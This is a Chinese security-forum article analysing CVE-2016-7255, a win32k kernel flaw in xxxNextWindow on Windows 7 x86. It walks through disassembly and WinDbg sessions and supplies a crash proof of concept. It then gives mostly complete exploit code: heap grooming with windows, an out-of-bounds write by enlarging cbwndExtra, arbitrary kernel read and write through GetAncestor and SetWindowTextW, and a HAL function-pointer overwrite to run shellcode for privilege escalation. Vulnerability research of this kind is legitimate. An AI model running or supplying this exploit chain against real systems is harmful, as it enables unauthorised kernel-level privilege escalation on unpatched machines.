本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
该漏洞存在于win32k中的xxxNextWindow函数中,该函数没有对tagWND对象的spmenu成员的合法性进行验证,就直接将其作为合法地址进行读写,导致了BSOD的产生。通过将spmenu设置为特定的值,可以让tagWND对象获得越界写入的能力,从而修改其他tagWND的strName->Buffer的值,实现任意地址写入,最终实现提权。
操作系统:Win 7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro, WinDbg
二
漏洞分析
xxxNextWindow函数的第一个参数指向tagQ结构体,该结构体定义如下:
kd> dt win32k!tagQ
+0x000 mlInput : tagMLIST
+0x00c ptiSysLock : Ptr32 tagTHREADINFO
+0x010 idSysLock : Uint4B
+0x014 idSysPeek : Uint4B
+0x018 ptiMouse : Ptr32 tagTHREADINFO
+0x01c ptiKeyboard : Ptr32 tagTHREADINFO
+0x020 spwndCapture : Ptr32 tagWND
+0x024 spwndFocus : Ptr32 tagWND
+0x028 spwndActive : Ptr32 tagWND
+0x02c spwndActivePrev : Ptr32 tagWND
+0x030 codeCapture : Uint4B
+0x034 msgDblClk : Uint4B
+0x038 xbtnDblClk : Uint2B
+0x03c timeDblClk : Uint4B
+0x040 hwndDblClk : Ptr32 HWND__
+0x044 ptDblClk : tagPOINT
+0x04c ptMouseMove : tagPOINT
+0x054 afKeyRecentDown : [32] UChar
+0x074 afKeyState : [64] UChar
+0x0b4 caret : tagCARET
+0x0ec spcurCurrent : Ptr32 tagCURSOR
+0x0f0 iCursorLevel : Int4B
+0x0f4 QF_flags : Uint4B
+0x0f8 cThreads : Uint2B
+0x0fa cLockCount : Uint2B
+0x0fc msgJournal : Uint4B
+0x100 ExtraInfo : Int4B
+0x104 ulEtwReserved1 : Uint4B
tagQ结构体中有许多成员指向tagWND结构体,该结构体定义如下:
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
+0x018 state2 : Uint4B
+0x01c ExStyle : Uint4B
+0x020 style : Uint4B
+0x024 hModule : Ptr32 Void
+0x028 hMod16 : Uint2B
+0x02a fnid : Uint2B
+0x02c spwndNext : Ptr32 tagWND
+0x030 spwndPrev : Ptr32 tagWND
+0x034 spwndParent : Ptr32 tagWND
+0x038 spwndChild : Ptr32 tagWND
+0x03c spwndOwner : Ptr32 tagWND
+0x040 rcWindow : tagRECT
+0x050 rcClient : tagRECT
+0x060 lpfnWndProc : Ptr32 long
+0x064 pcls : Ptr32 tagCLS
+0x068 hrgnUpdate : Ptr32 HRGN__
+0x06c ppropList : Ptr32 tagPROPLIST
+0x070 pSBInfo : Ptr32 tagSBINFO
+0x074 spmenuSys : Ptr32 tagMENU
+0x078 spmenu : Ptr32 tagMENU
+0x07c hrgnClip : Ptr32 HRGN__
+0x080 hrgnNewFrame : Ptr32 HRGN__
+0x084 strName : _LARGE_UNICODE_STRING
+0x090 cbwndExtra : Int4B
+0x094 spwndLastActive : Ptr32 tagWND
+0x098 hImc : Ptr32 HIMC__
+0x09c dwUserData : Uint4B
+0x0a0 pActCtx : Ptr32 _ACTIVATION_CONTEXT
+0x0a4 pTransform : Ptr32 _D3DMATRIX
+0x0a8 spwndClipboardListenerNext : Ptr32 tagWND
+0x0ac ExStyle2 : Uint4B
xxxNextWindow会从tagQ中取出偏移0x28的spwndActive作为参数调用GetNextQueueWindow,spwndActive代表当前活跃的窗口,函数GetNextQueueWindow会将spwndActive偏移0x38保存的子窗口spwndChild返回:
.text:BF9684C5 mov edi, [ebx+28h] ; 将spwndActive赋值给edi
.text:BF968533 push 1
.text:BF968535 push [ebp+hDC]
.text:BF968538 push edi
.text:BF968539 call [email protected]
.text:BF96853E mov ebx, eax ; 将spwndChild赋给ebx
验证GetNextQueueWindow返回的tagWND偏移0x78处保存的spmenu成员是否为0,如果不为0,将对spmenu偏移0x14处指向的地址进行或运算:
.text:BF96859C xor ecx, ecx
.text:BF96859E cmp [ebx+78h], ecx ; 判断spmenu是否为0
.text:BF9685A1 jz short loc_BF9685AA
.text:BF9685A3 mov eax, [ebx+78h] ; 将spmenu赋给eax
.text:BF9685A6 or dword ptr [eax+14h], 4 ; 将flags与4进行或运算
spmenu是一个tagMENU对象,该对象部分成员如下,所以上面的代码其实是想对tagMENU的flags成员进行或运算。
kd> dt win32k!tagMENU
+0x000 head : _PROCDESKHEAD
+0x014 fFlags : Uint4B
+0x018 iItem : Int4B
在进行或运算之前,函数只是验证了tagWND->spmenu是否为0,却没有验证tagWND->spmenu所指的内存是否有效,而spmenu可以通过函数SetWindowLong修改,该函数定义如下:
LONG SetWindowLong(HWND hWnd,int nIndex, LONG dwNewLong);
SetWindowLong函数会调用内核的xxxSetWindowLong函数实现功能,在xxxSetWindowLong函数中会判断nIndex是否小于0:
.text:BF8B40E0 mov edx, [ebp+nIndex] ; nIndex赋值edx
.text:BF8B40EB push 0
.text:BF8B40ED pop ecx ; ecx请0
.text:BF8B4134 cmp edx, ecx ; edx是否小于0,小于则跳转
.text:BF8B4136 jl short loc_BF8B419E
如果nIndex小于0,则会调用xxxSetWindowData函数:
.text:BF8B419E loc_BF8B419E: ; CODE XREF: xxxSetWindowLong(x,x,x,x,x)+4F↑j
.text:BF8B419E ; xxxSetWindowLong(x,x,x,x,x)+80↑j
.text:BF8B419E push [ebp+arg_C]
.text:BF8B41A1 push [ebp+dwNewLong]
.text:BF8B41A4 push edx
.text:BF8B41A5 push esi
.text:BF8B41A6 call [email protected] ; xxxSetWindowData(x,x,x,x)
.text:BF8B41AB jmp loc_BF8B4234
xxxSetWindowData函数会判断nIndex是否等于-12:
.text:BF8BB79E mov eax, [ebp+nIndex]
.text:BF8BB7C2 cmp eax, 0FFFFFFF4h
.text:BF8BB7C5 jz loc_BF8BBA1C
如果nIndex为-12,继续判断tagWND->style的最高位是否为0x40,如果是,则将dwNewLong赋值给窗口的spmenu:
.text:BF8BBA1C loc_BF8BBA1C:
.text:BF8BBA1C mov edi, [ebp+tagWND]
.text:BF8BBA1F mov al, [edi+23h]
.text:BF8BBA22 and al, 0C0h
.text:BF8BBA24 cmp al, 40h
.text:BF8BBA26 jnz short loc_BF8BBA33
.text:BF8BBA28 mov eax, [ebp+dwNewLong]
.text:BF8BBA2B mov ebx, [edi+78h]
.text:BF8BBA2E mov [edi+78h], eax ; 将dwNewLong赋值给tagWND->spmenu
.text:BF8BBA31 jmp short loc_BF8BBA88
根据以下定义可以知道,当对带有WS_CHILD标记的窗口调用SetWindowLong的时候,如果第二个参数传入GWL_ID,第三个参数的值就会写入到窗口的spmenu中:
#define WS_CHILD 0x40000000L
#define GWL_ID (-12)
因此,用户可以修改窗口的spmenu,如果将它修改为一个非法的地址,再调用xxxNextWindow函数,就会因为对一个非法地址进行或运算导致BSOD的产生。
对上述内容的总结如下:
xxxNextWindow函数需要通过发送Alt + Esc的按键信息来调用,因此漏洞触发的步骤如下:
相应的POC代码如下:
BOOL POC_CVE_2016_7255()
{
BOOL bRet = TRUE;
HWND hwnd = NULL, hDesktop = NULL;
WNDCLASSEX wc = { 0 };
char *pClassName = "POC";
// 获取父窗口
hDesktop = GetDesktopWindow();
if (!hDesktop)
{
bRet = FALSE;
ShowError("GetDesktopWindow", GetLastError());
goto exit;
}
memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandle(NULL);
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pClassName;
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
// 创建触发漏洞的窗口
hwnd = CreateWindowEx(NULL,
pClassName,
NULL,
WS_VISIBLE,
0, 0, 100, 100,
hDesktop, // 指定父窗口为桌面窗口
0,
GetModuleHandle(NULL),
0);
if (!hwnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// 设置子窗口带WS_CHILD标记
// 这样GetNonChildAncesstor就会返回其父窗口,即hDesktop
SetWindowLong(hwnd, GWL_STYLE, (WS_VISIBLE | WS_CHILD));
// 设置子窗口的spwnd
SetWindowLong(hwnd, GWL_ID, 0x1900);
// 将桌面窗口,也就是父窗口置于最前面
// 模拟Alt + Esc按键触发漏洞
SwitchToThisWindow(hDesktop, TRUE);
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);
exit:
return bRet;
}
在xxxNextWindow函数验证spmenu是否为0处下断点,编译运行POC,可以看到此时的spmenu已经被修改为指定的值:
kd> ba e1 win32k!xxxNextWindow + 0x3D0
kd> g
Breakpoint 0 hit
win32k!xxxNextWindow+0x3cf:
96eb859e 394b78 cmp dword ptr [ebx+78h],ecx
kd> r ebx
ebx=fea14d48
kd> dt tagWND fea14d48
win32k!tagWND
+0x078 spmenu : 0x00001900 tagMENU
由于是非0的,所以函数会继续向下执行,将spmenu的值取出,并对其+0x14的内存地址进行或操作,但是该地址是非法地址,所以会触发BSOD错误:
win32k!xxxNextWindow+0x3d2:
96eb85a1 7407 je win32k!xxxNextWindow+0x3db (96eb85aa)
kd> p
win32k!xxxNextWindow+0x3d4:
96eb85a3 8b4378 mov eax,dword ptr [ebx+78h]
kd> p
win32k!xxxNextWindow+0x3d7:
96eb85a6 83481404 or dword ptr [eax+14h],4
kd> r eax
eax=00001900
kd> dd eax
00001900 ???????? ???????? ???????? ????????
00001910 ???????? ???????? ???????? ????????
00001920 ???????? ???????? ???????? ????????
00001930 ???????? ???????? ???????? ????????
00001940 ???????? ???????? ???????? ????????
00001950 ???????? ???????? ???????? ????????
00001960 ???????? ???????? ???????? ????????
00001970 ???????? ???????? ???????? ????????
kd> g
Access violation - code c0000005 (!!! second chance !!!)
win32k!xxxNextWindow+0x3d7:
96eb85a6 83481404 or dword ptr [eax+14h],4
三
漏洞利用
利用该漏洞可以实现对指定的内存地址与4进行或运算,因此可以将spmenu赋值为tagWND偏移0x93,这样就可以扩大tagWND偏移0x90的cbwndExtra。之所以扩大这个地址,是因为在xxxSetWindowLong中,当nIndex大于0的时候,函数会判断nIndex + 4是否小于等于cbwndExtra,如果大于,就会设置错误码再退出函数:
.text:BF8B4185 lea eax, [edx+4] ; eax=nIndex+4
.text:BF8B4188 cmp eax, [esi+90h] ; eax小于等于cbwndExtra则跳转
.text:BF8B418E jbe short loc_BF8B41B0
.text:BF8B4190 push 585h
.text:BF8B4195 jmp loc_BF8B421D
...
.text:BF8B421D loc_BF8B421D:
.text:BF8B421D
.text:BF8B421D call [email protected]
.text:BF8B4222 xor eax, eax
.text:BF8B4224 jmp short loc_BF8B4234
如果nIndex + 4小于等于cbwndExtra,函数会对将dwNewLong的值写入到tagWND窗口之后的nIndex处的地址。这里的esi指向tagWND的首地址,0xB0是tagWND的大小,edx则是nIndex:
.text:BF8B4226 lea ecx, [esi+edx+0B0h]
.text:BF8B422D mov edx, [ebp+dwNewLong]
.text:BF8B4230 mov eax, [ecx]
.text:BF8B4232 mov [ecx], edx
如果利用该漏洞将cbwndExtra扩大了,此时就可以直接通过SetWindowLong来实现越界写入操作。如果可以在可写的范围内在布置一个tagWND结构体,这样就可以通过SetWindowLong函数修改新布置的tagWND结构体中的成员来实现任意地址读写。
由于要获取tagWND的cbwndExtra地址来对其进行扩大,所以要首先获取窗口对象的tagWND地址。tagWND的获取可以通过HMValidateHandle函数实现,该函数定义如下:
typedef void* (__fastcall *lHMValidateHandle)(HWND h, int type);
当第二个参数type指定为TYPE_WINDOW(0x1)的时候,函数会返回第一个参数指定的窗口句柄的THREADESKEAD结构体,该结构体定义如下,其中pSelf成员保存了tagWND对象在内核中的地址。
typedef struct _HEAD
{
HANDLE h;
DWORD clockObj;
}HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
}THROBJHEAD, *PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf;
}THRDESKHEAD, *PTHRDESKHEAD;
有了HMValidateHandle函数就可以获取需要的窗口的tagWND在内核中的地址,但是该函数是未导出的函数,需要通过user32.dll中的导出函数IsMenu来获取,因为IsMenu函数有对HMValidateHandle的调用:
这里可以将0xE8作为特征码找到HMValidateHandle的相对地址,根据相对地址得出实际的函数地址,相应的代码如下:
PVOID GetHMValidateHandle()
{
PVOID pFuncAddr = NULL;
HMODULE hUser32 = NULL;
PBYTE pIsMenu = NULL;
DWORD i = 0, dwFuncOffset = 0;
hUser32 = LoadLibraryA("user32.dll");
if (!hUser32)
{
ShowError("LoadLibraryA", GetLastError());
goto exit;
}
pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu");
if (!pIsMenu)
{
ShowError("GetProcAddress", GetLastError());
goto exit;
}
for (i = 0; i < PAGE_SIZE; i++)
{
if (pIsMenu[i] == 0xE8)
{
dwFuncOffset = *(PDWORD)(pIsMenu + i + 1);
pFuncAddr = (PVOID)(dwFuncOffset + pIsMenu + i + 5);
break;
}
}
exit:
return pFuncAddr;
}
通过HMValidateHandle可以获取cbwndExtra,在调用SetWindowLong修改spmenu的时候,可以将写入值指定为cbwndExtra + 3 - 0x14的地址,这样就可以利用或操作扩大cbwndExtra,相应代码如下:
BOOL Trigger_CVE_2016_7255(HWND *hWndList)
{
BOOL bRet = TRUE;
HWND hTriggerWnd = NULL, hDesktop = NULL;
WNDCLASSEX wc = { 0 };
char *pClassName = "Trigger";
DWORD i = 0;
// 获取父窗口
hDesktop = GetDesktopWindow();
if (!hDesktop)
{
bRet = FALSE;
ShowError("GetDesktopWindow", GetLastError());
goto exit;
}
memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandle(NULL);
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pClassName;
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
// 创建触发漏洞的窗口
hTriggerWnd = CreateWindowEx(NULL,
pClassName,
NULL,
WS_VISIBLE,
0, 0, 100, 100,
hDesktop, // 指定父窗口为桌面窗口
0,
GetModuleHandle(NULL),
0);
if (!hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
DWORD dwTriggerAddr = 0;
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
dwTriggerAddr = (DWORD)pTriggerHead->pSelf;
// 设置子窗口带WS_CHILD标记
// 这样GetNonChildAncesstor就会返回其父窗口,即hDesktop
SetWindowLong(hTriggerWnd, GWL_STYLE, (WS_VISIBLE | WS_CHILD));
CONST DWORD dwCbExOffset = 0x90;
DWORD dwValue = 0;
dwValue = dwTriggerAddr + dwCbExOffset + 3 - 0x14;
// 设置子窗口的spwnd为cbwndExtra + 3的位置
SetWindowLong(hTriggerWnd, GWL_ID, dwValue);
// 将桌面窗口,也就是父窗口置于最前面
// 模拟Alt + Esc按键触发漏洞
SwitchToThisWindow(hDesktop, TRUE);
keybd_event(VK_MENU, 0, 0, 0);
keybd_event(VK_ESCAPE, 0, 0, 0);
exit:
if (hTriggerWnd)
{
if (!DestroyWindow(hTriggerWnd))
{
bRet = FALSE;
}
}
return bRet;
}
此时在xxxNextWindow对spmenu是否为0处下断点,查看此时的tagWND地址为0xFEA1C200,那么cbwndExtra的地址就是0xFEA1C290:
kd> g
Breakpoint 0 hit
win32k!xxxNextWindow+0x3cf:
969e859e 394b78 cmp dword ptr [ebx+78h],ecx
kd> r ebx
ebx=fea1c200
spmenu为0xFEA1C27F,等于0xFEA1C200 + 0x90 + 0x3 - 0x14,成功指向cbwndExtra + 0x3处的地址,此时的cbwndExtra为0。
继续向下运行,会对tagWND中成员cbwndExtra + 0x3地址处的内容对4进行或运算:
kd> p
win32k!xxxNextWindow+0x3d2:
969e85a1 7407 je win32k!xxxNextWindow+0x3db (969e85aa)
kd> p
win32k!xxxNextWindow+0x3d4:
969e85a3 8b4378 mov eax,dword ptr [ebx+78h]
kd> p
win32k!xxxNextWindow+0x3d7:
969e85a6 83481404 or dword ptr [eax+14h],4
kd> p
win32k!xxxNextWindow+0x3db:
969e85aa 8b4308 mov eax,dword ptr [ebx+8]
可以看到此时成功将cbwndExtra值扩大到0x04000000:
kd> dd 0xFEA1C290
fea1c290 04000000 fea1c200 000701d5 00000000
fea1c2a0 00000000 00000000 00000000 00000058
fea1c2b0 00010004 08000017 00000002 00000002
fea1c2c0 013663a0 0000a918 ffa83308 0001c033
fea1c2d0 00010017 08000004 000a01c0 00000003
fea1c2e0 ffa72dd8 877cd140 fea1c2d8 60040408
fea1c2f0 80000700 20080900 14c00000 00400000
fea1c300 00000000 fea1c128 fea1c488 fea00618
现在可以利用漏洞实现扩大cbwndExtra成员的方式来实现越界写入,需要在被扩大的tagWND对象的可写入的范围内布置另一个tagWND结构体作为用来修改的窗口对象,通过对该对象成员的修改实现任意地址读写,所以此时需要首先创建一部分窗口,在释放掉其中的一部分,这样触发漏洞的时候创建的窗口之后就会存在另一个tagWND对象,相应代码如下:
BOOL Init_CVE_2016_7255(HWND *hWndList)
{
BOOL bRet = TRUE;
CONST DWORD dwFakeNum = 100;
WNDCLASSEX wc = { 0 };
char *pFakeName = "Fake";
DWORD i = 0;
memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandle(NULL);
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pFakeName;
if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 创建用来攻击的窗口
for (i = 0; i < dwFakeNum; i++)
{
hWndList[i] = CreateWindowEx(NULL,
pFakeName,
"Hack",
WS_VISIBLE,
0, 0, 100, 100,
NULL,
0,
GetModuleHandle(NULL),
0);
if (!hWndList[i])
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
}
// 释放其中的一部分用来保存触发漏洞时候创建的窗口
for (i = 20; i < 80; i += 2)
{
if (!DestroyWindow(hWndList[i]))
{
ShowError("DestroyWindow", GetLastError());
bRet = FALSE;
goto exit;
}
hWndList[i] = NULL;
}
exit:
return bRet;
}
此时,在触发漏洞的时候,加入以下代码用来查找位于被扩大cbwndExtra的tagWND对象高地址中最近的一个tagWND对象用来作为攻击窗口此时,就可以利用越界写入修改攻击窗口对象tagWND中的成员。
DWORD dwTriggerAddr = 0, dwAttackAddr = 0;
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
dwTriggerAddr = (DWORD)pTriggerHead->pSelf;
// 寻找用来攻击的tagWND
for (i = 0; i < 100; i++)
{
if (hWndList[i])
{
PTHRDESKHEAD pFakeHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);
dwAttackAddr = (DWORD)pFakeHead->pSelf;
if (dwAttackAddr > dwTriggerAddr && dwAttackAddr - dwTriggerAddr < 0x3FD000)
{
hAttackWnd = hWndList[i];
break;
}
}
}
if (!hAttackWnd)
{
printf("Do not find Attack tagWND\n");
bRet = FALSE;
goto exit;
}
4.任意地址读写
任意地址的读取要用到GetAncestor函数,该函数的定义如下:
HWND GetAncestor(HWND hwnd, UINT gaFlags);
该函数会调用内核中的NtUserGetAncestor,NtUserGetAncestor函数将_GetAncestor函数返回值指向的地址中的值作为返回值:
参数gaFlags为1的时候,_GetAncestor函数会返回tagWND中偏移0x34的spwndParent:
所以,在用户层调用GetAncestor函数的时候,如果第二个参数指定为GA_PANT,函数就会将第一个参数对应的tagWND对象的spwndParant所指的内存地址中的数据返回。
#define GA_PARENT 1
因为可以利用越界写入操作将tagWND偏移0x34的spwndParent修改为任意地址,所以,可以通过调用GetAncestor就可以实现任意地址的读取。
对于任意地址写入,需要用到tagWND对象偏移0x84处的strName成员:
kd> dt win32k!tagWND
+0x084 strName : _LARGE_UNICODE_STRING
该成员用来是一个_LARGE_UNICODE_STRING结构体,结构体定义如下:
2: kd> dt win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B
+0x004 MaximumLength : Bitfield Pos 0, 31 Bits
+0x004 bAnsi : Bitfield Pos 31, 1 Bit
+0x008 Buffer : Ptr32 to Uint2B
在用户层调用如下定义的SetWindowTextW函数的时候,函数会将参数lpString中的数据写入到tagWND->strName的Buffer保存的地址中。同理,因为此时可以利用越界写入操作将Buffer修改为任意地址,所以,可以通过SetWindowTextW实现任意地址写入。
WINUSERAPI
BOOL
WINAPI
SetWindowTextW(
__in HWND hWnd,
__in_opt LPCWSTR lpString);
有了任意地址的读写能力,现在就可以轻松地通过修改NtQuerySystemInformation函数来实现提权操作,相应代码如下:
BOOL EnablePrivilege_CVE_2016_7255(HWND hTriggerWnd, HWND hAttackWnd, DWORD dwOffset)
{
BOOL bRet = TRUE;
PVOID pTargetAddr = NULL;
// 获取目标函数地址
pTargetAddr = GetHalQuerySystemInformation();
if (!pTargetAddr)
{
bRet = FALSE;
goto exit;
}
DWORD dwOrg = 0, dwOrgPar = 0;
DWORD dwParentOffset = dwOffset + 0x34;
// 获取原tagWND->spwndParent
dwOrgPar = GetWindowLong(hTriggerWnd, dwParentOffset);
// 设置tagWND->spwndParent为目标函数地址
SetWindowLong(hTriggerWnd, dwParentOffset, (ULONG)pTargetAddr);
// 获取目标函数地址中的原来的内容
dwOrg = (DWORD)GetAncestor(hAttackWnd, GA_PARENT);
// 恢复tagWND->spwndParent
SetWindowLong(hTriggerWnd, dwParentOffset, dwOrgPar);
DWORD dwBufOffset = dwOffset + 0x84 + 0x8;
// 修改tagWND->StrName->Buffer为目标函数地址
SetWindowLong(hTriggerWnd, dwBufOffset, (ULONG)pTargetAddr);
// 设置目标函数地址为ShellCode地址
WCHAR wBuf[3] = { 0 };
*(PDWORD)wBuf = (DWORD)ShellCode_CVE_2016_7255;
if (!SetWindowTextW(hAttackWnd, wBuf))
{
ShowError("SetWindowText", GetLastError());
bRet = FALSE;
goto exit;
}
// 调用函数实现提权
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
// 恢复目标函数地址
*(PDWORD)wBuf = dwOrg;
if (!SetWindowTextW(hAttackWnd, wBuf))
{
ShowError("SetWindowText", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
四
运行结果
完整代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2016-7255.cpp。编译运行exp就可以成功实现提权操作:
看雪ID:1900
https://bbs.kanxue.com/user-home-835440.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!